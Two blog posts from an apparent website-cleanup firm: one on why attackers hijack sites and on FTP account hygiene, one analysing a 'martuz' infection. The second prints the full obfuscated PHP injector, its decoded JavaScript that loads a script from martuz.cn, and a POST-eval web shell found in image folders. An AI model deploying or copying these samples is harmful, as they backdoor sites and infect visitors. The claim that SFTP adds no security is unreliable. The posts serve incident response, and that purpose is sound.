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How hackers use your website

Due to our work in website security, quite often we’re asked “Why?”

As in, “why do hackers want my website?”

From this article by Webroot: http://www.webroot.com/blog/2013/07/11/new-commercially-available-mass-ftp-based-proxy-supporting-doorwaymalicious-script-uploading-application-spotted-in-the-wild/

you can see that sometimes hackers use your website as a proxy. A proxy is a buffer to their real location. Some of you ask if we can tell you exactly where the hacker is. Unfortunately we can’t. Not for any legal reason, but because hackers hide behind multiple layers of these proxies.

The website security industry would love to be able to track down hackers, but it’s rarely possible.

For instance, they might be in one country. Their computer connects to a server in South America (that they’ve already compromised), from there to a server in Switzerland, then to a compromised server in North America. The last IP address is all that will appear in your log files. In our example here, the last IP address would be from the compromised server in North America.

When we have access to the log files, we mine the IP addresses out of the log files and report them to the proper abuse department. This is a small step toward making the Internet safer, and is some what time consuming, but we do it to help notify others that they have an infected website or server.

The tool mentioned in that article also shows one of the tools used by hackers to upload infectious content to your site – automatically. Many of you believe that someone is sitting behind a computer and attacking your website, or uploading malicious files to your site.

Not at all.

Most, if not all, of today’s website infections are the result of an automated tool.

After one of the screen captures this caught my attention:

The tool works in a fairly simple way. It requires a list of user names and passwords, which it will then use to automatically upload any given set of files/scripts through the use of automatically syndicated fresh lists of proxies.

So, when the hackers have a list of compromised FTP users, they load it up in this tool and then they can send the same infectious code to hundreds or thousands of websites.

With the log files activated, we can see the FTP account used and the IP address of where the connection originated (the last proxy IP address).

Here’s our Website Security Best Practices for FTP accounts:

  • Create a separate FTP account for each user. Not all hosting providers allow this. Many only allow one. But if you’re with a hosting provider who provides cPanel, then you can create separate FTP accounts. Also make certain they have good strong passwords.
  • Activate the logs. Most hosting providers have the logs turned off by default. They know that nobody other than us, ever read the logs so why consume so much disk space? Again, if you’re on a cPanel account, scroll down to the section labeled “Statistics” and select the “Access Logs” icon. It might be different on various hosts, but that should get you in the general area. You can check both boxes. If you’re not on a cPanel account, then ask your hosting provider.
  • If you provide access to a web developer or anyone else, ask them what anti-virus program they use on their local computers. Every potential point of entry needs to be accounted for. If they have a virus on their computer and it steals the login credentials for the FTP account you provided them, guess what? You could have the best website security team in the world (yes – us!) and your website will still get infected.
  • Be diligent about the FTP accounts. If someone that you’ve provided FTP access to no longer needs that access, then delete their FTP account. Remember, hackers only need one way in. Yes, this is a pain, but so is getting your website infected.

You’ll notice that we didn’t recommend SFTP as many do.

Why?

We understand how hackers work. While SFTP sounds more secure, the reality of it is – that it really isn’t.

All SFTP does is encrypt the traffic between your computer and the destination – your website. However, a few things to mention.

Most hosting providers will only allow you to create one SFTP account and frequently it’s the same account used to login to your hosting account. If you want to provide access to someone who will be making changes to your website – legitimate changes, you have to give them access to your hosting account. If you have 3 or 4 people who need access to your website files, now you have 3 or 4 more potential points of entry for hackers.

With only one account, you have lost the advantage of FTP logging. There will only be one account listed in there. If your website security is compromised, looking in your log files will tell you how it happened, but you have no idea who has the virus that is stealing the account information.

Which brings me to the last reason we don’t recommend SFTP.

We’ve seen the way the viruses/trojans work. They steal the login URL, username and password from your computer. It doesn’t matter if you you’re using SFTP or FTP, it steals the login address and protocol. The hackers will login and upload their malicious files using an encrypted channel (SFTP). They can thank you later for thinking of their need for security.

This is the same reason we don’t recommend changing the login URL and username for WordPress. When hackers steal the information you may have changed your login URL to http://(yoursite.com)/Supercalifragilisticexpialidocious and your admin user to: rumpelstiltskin, but when the hackers steal the information, they steal that as well.

Let me know your thoughts about this. Post a comment. Ask a question.

Thank you for your time.

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A New Spin on martuz Website Infection

We were tasked with helping a website owner find all the malscripts on his site and remove them. He, like many, learned that his site was an infectious website delivering malicious code with an email from Google.

This website owner had tried removing the code himself from the infected webpages and yet his site was still blacklisted by Google. This was killing his sales as anyone visiting with Firefox as their browser, or Chrome,  were greeted with a big warning:

This site may harm your computer.

After about a week of trying to rectify the problem himself, he contacted us.

He provided us FTP access to his site so we could tackle it.

After downloading his site (which literally took 3 hours) we started scanning. We grep’d for the word “base64_decode” and found over 228 php files all with the following malscript:

(php tag removed) if(!fun ct ion_ex ists(‘tmp_lkojfghx’)){if(is set ($_POST[‘tmp_lkojfghx3’])) eval($_POST[‘tmp_lkojfghx3’]) ;if(!defined(‘TMP_XHGFJOKL’))
define(‘TMP_XHGFJOKL’,b ase64_de cod e(‘PHNjcmlwdCBsYW5ndWFnZT 1qYXZhc2NyaXB0PjwhLS0gCihmdW5jdGlvbigpe3ZhciBWaXRMPSclJzt2YXIgU3VvPSd2YXJfMjB
hXzNkXzIyU2NyaV83MHRFbmdfNjluZV8yMl8yY2JfM2RfMjJWZXJzaV82Zm4oKStfMjJfMmNqX zNkXzIyXzIyXzJjdV8zZG5hdl82OWdfNjF0XzZmcl8yZV83NV83M182NXJfNDF
nZW50XzNiaWYoXzI4dV8yZWluZGV4T2ZfMjhfMjJfNDNocl82Zl82ZGVfMjIpXzNjXzMwXzI5XzI2 XzI2KHVfMmVpbmRfNjV4T2YoXzIyV182OV82ZV8yMilfM2UwKV8yNl8yNl8
yOHVfMmVpbmRleF80Zl82Nl8yOF8yMk5UXzIwNl8yMilfM2MwKV8yNl8yNihfNjRvY183NW1fNjV uXzc0XzJlXzYzb29rXzY5ZV8yZWluXzY0ZXhPZihfMjJtaWVrXzNkMV8yMil
fM2NfMzApXzI2XzI2KF83NHlwZW9fNjYoXzdhXzcyXzc2enRzXzI5XzIxXzNkdHlwXzY1b182NihfMjJ BXzIyKSkpXzdienJfNzZ6Xzc0c18zZF8yMkFfMjJfM2Jldl82MWwoXzI
yaWYoXzc3aW5kXzZmd18yZV8yMithXzJiXzIyKWpfM2RqK18yMitfNjErXzIyXzRkYWpvcl8yMl8yY mIrYStfMjJNaW5vcl8yMitiK2ErXzIyQl83NWlfNmNkXzIyXzJiYitfMjJ
qXzNiXzIyKV8zYmRvY183NW1fNjVfNmVfNzRfMmV3cml0ZShfMjJfM2NfNzNfNjNyaV83MF83NF8y MHNfNzJjXzNkXzJmXzJmbWFyXzIyK18yMl83NF83NXpfMmVfNjNuXzJmdml
kXzJmXzNmXzY5ZF8zZF8yMitfNmErXzIyXzNlXzNjXzVjXzJmc2NyaXBfNzRfM2VfMjJfMjlfM2JfN2Qn O2V2YWwodW5lc2NhcGUoU3VvLnJlcGxhY2UoL18vZyxWaXRMKSkpfSk
oKTsKIC0tPjwvc2NyaXB0Pg==’));fu nc tion tmp_lkojfghx($s){if($g=(substr($s,0,2)==chr(31).chr(139)))$s=gzinflate(su bstr($s,10,-8));
if(preg_match_all(‘#<script(.*?)</sc ri pt>#is’,$s,$a))for ea ch($a[0] as $v) f(count(exp lo de(“\n”,$v))>5)
{$e=preg_match(‘#[\'”][^\s\'”\.,;\?!\[\]:/<>\(\)]{30,}#’,$v)||preg_m atch(‘#[\(\[](\s*\d+,){20,}#’,$v);
if((pr eg_match(‘#\beval\b#’,$v)&&($e||str pos($v,’from Char Code’)))||($e&&strpos($v,’document.write’)))$s=str_replace($v,”,$s);}
$s1=preg_re pl ace(‘#<sc ri pt lan gu age=java scri pt><!– \n\(fun ct ion\(.+?\n –></script>#’,”,$s);if(stristr($s,'<body’))
$s=preg_replace(‘#(\s*<body)#mi’,TMP_XHGFJOKL.’\1′,$s1);elseif(($s1!=$s)||stristr($s,'</body’)||stristr($s,'</title>’))
$s=$s1.TMP_XHGFJOKL;return $g?gzencode($s):$s;}function tmp_lkojfghx2($a=0,$b=0,$c=0,$d=0) {$s=array();

if($b&&$GLOBALS[‘tmp_xhgfjokl’])call_user_func($GLOBALS[‘tmp_xhgfjokl’],$a,$b,$c,$d); foreach(@ob_get_status(1) as $v)
if(($a=$v[‘name’])==’tmp_lkojfghx’)re t urn;else $s[]=array($a==’default output handler’?false:$a);
for($i=count($s)-1;$i>=0;$i–){$s[$i][1]=ob_get_contents();ob_end_clean();}ob_start(‘tmp_lkojfghx’);
for($i=0;$i<count($s);$i++){ob_start($s[$i][0]);echo $s[$i][1];}}}if(($a=@set_error_handler(‘tmp_lkojfghx2′))!=’tmp_lkojfghx2’)
$GLOBALS[‘tmp_xhgfjokl’]=$a;tmp_lkojfghx2(); ?>

The base64_decode section evaluates to this:

<script language=javascript><!–

(f u n c t i o n(){var VitL=’%’;var Suo=’var_20a_3d_22Scri_70tEng_69ne_22_2cb_3d_22Versi_6fn()+_ 22_2cj_3d_22_22_2cu_3dnav_69g_61t_6fr_2e_75_73_65r_41gent_3bif
(_28u_2eindexOf_28_22_43hr_6f_6de_22)_3c_30_29_26_26(u_2eind_65xOf(_22W_69_6e_22) _3e0)_26_26_28u_2eindex_4f_66_28_22NT_206_22)_3c0)_26_26
(_64oc_75m_65n_74_2e_63ook_69e_2ein_64exOf(_22miek_3d1_22)_3c_30)_26_26(_74ypeo _66(_7a_72_76zts_29_21_3dtyp_65o_66(_22A_22)))
_7bzr_76z_74s_3d_22A_22_3bev_61l(_22if(_77ind_6fw_2e_22+a_2b_22)j_3dj+_22+_61+_ 22_4dajor_22_2bb+a+_22Minor_22+b+a+_22B_75i_6cd_22_2bb+_22j_3b_22)
_3bdoc_75m_65_6e_74_2ewrite(_22_3c_73_63ri_70_74_20s_72c_3d_2f_2fmar_22+_22_ 74_75z_2e_63n_2fvid_2f_3f_69d_3d_22+_6a+_22_3e_3c_5c_2fscrip_74_3e_22_29_3b_7d’;
e v a l(un esc ape(Suo.replace(/_/g,VitL)))})();
–></script>

Which deobfuscates to:

var a=”S cri ptE ng ine”,b=”Version()+”,j=””,u=na vi g ator.user A gent;if((u.indexOf(“Ch rome”)<0)&&(u.indexOf(“Win”)>0)&&(u.indexOf(“NT 6”)<0)&&
(do cu ment.coo kie.ind exOf(“miek=1”)<0)&&(typeof(zrvzts)!=typeof(“A”))){zrvzts=”A”;ev al(“if(window.”+a+”)j=j+”+a+”Major”+b+a+”Minor”+b+a+”Build”+b+”j;”);
doc um ent.w ri te(“<sc ri pt src=//mar”+”tuz.cn/vid/?id=”+j+”><\/script>”);}
if(window.Script Engine)j=j+ScriptEng ineMajorVersion()+ScriptEng ineMinorVersion()+Scrip tEngine BuildVersion()+j;
<script src=//martuz.cn/vid/?id=></script>

a typical martuz infection.

Using PowerGrep we did a search and replace on this text and replaced every occurrence with “”.

We dug further into the files returned with our search for the word “base64_decode” and found 2 php files in every folder name “images”. These 2 files were named “image.php” and “gifimg.php” and inside each was the following code:

(php tags removed) eval(base64_decode(‘aWYoaXNzZXQoJF9QT1NUWydlJ10pKWV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1Rb J2UnXSkpOw==’)); (php tags removed)

Which decodes to:

if(isset($_POST[‘e’]))eval(base64_decode($_POST[‘e’]));

Which just decodes whatever text string is POST’d to this file.

To test, we encoded some commands and setup a little script to POST to this form with our commands. It worked!

In addition to these 2 files we found many others in various folders that contained the same code. We’re working on determining how these files are named. It almost seems random, but in order for this to be an automated process we feel that there must be some algorithm in creating the file names. Otherwise, the cybercriminals would have to keep a database or list of each site name and the file name associated with that site. This is highly unlikely as they are into automated routines and keeping a list like that just doesn’t make much sense.

Being that this was martuz, we felt confident in recommending that the client change from FTP to either FTPS or SFTP and then scan their PC fully before accessing the site again. With this new twist of having these php files accept scripts and run them, we are concerned about this new form of infection.

We have seen some people report that you have to replace these php files with an empty file of the same name. That might be the case in some situations, none that we’ve seen, but that would require that the cybercriminals had another file on your site that monitored those files. That monitoring program needs to be found and eliminated.

Another interesting thing about the file names is that WordPress installations have files named image.php obviously with different code, but that tactic might be to deter people from just “willy nilly” deleting those files.

Stay tuned as we have many, many more websites to clean. We’ll be reporting on them as we obtain more information.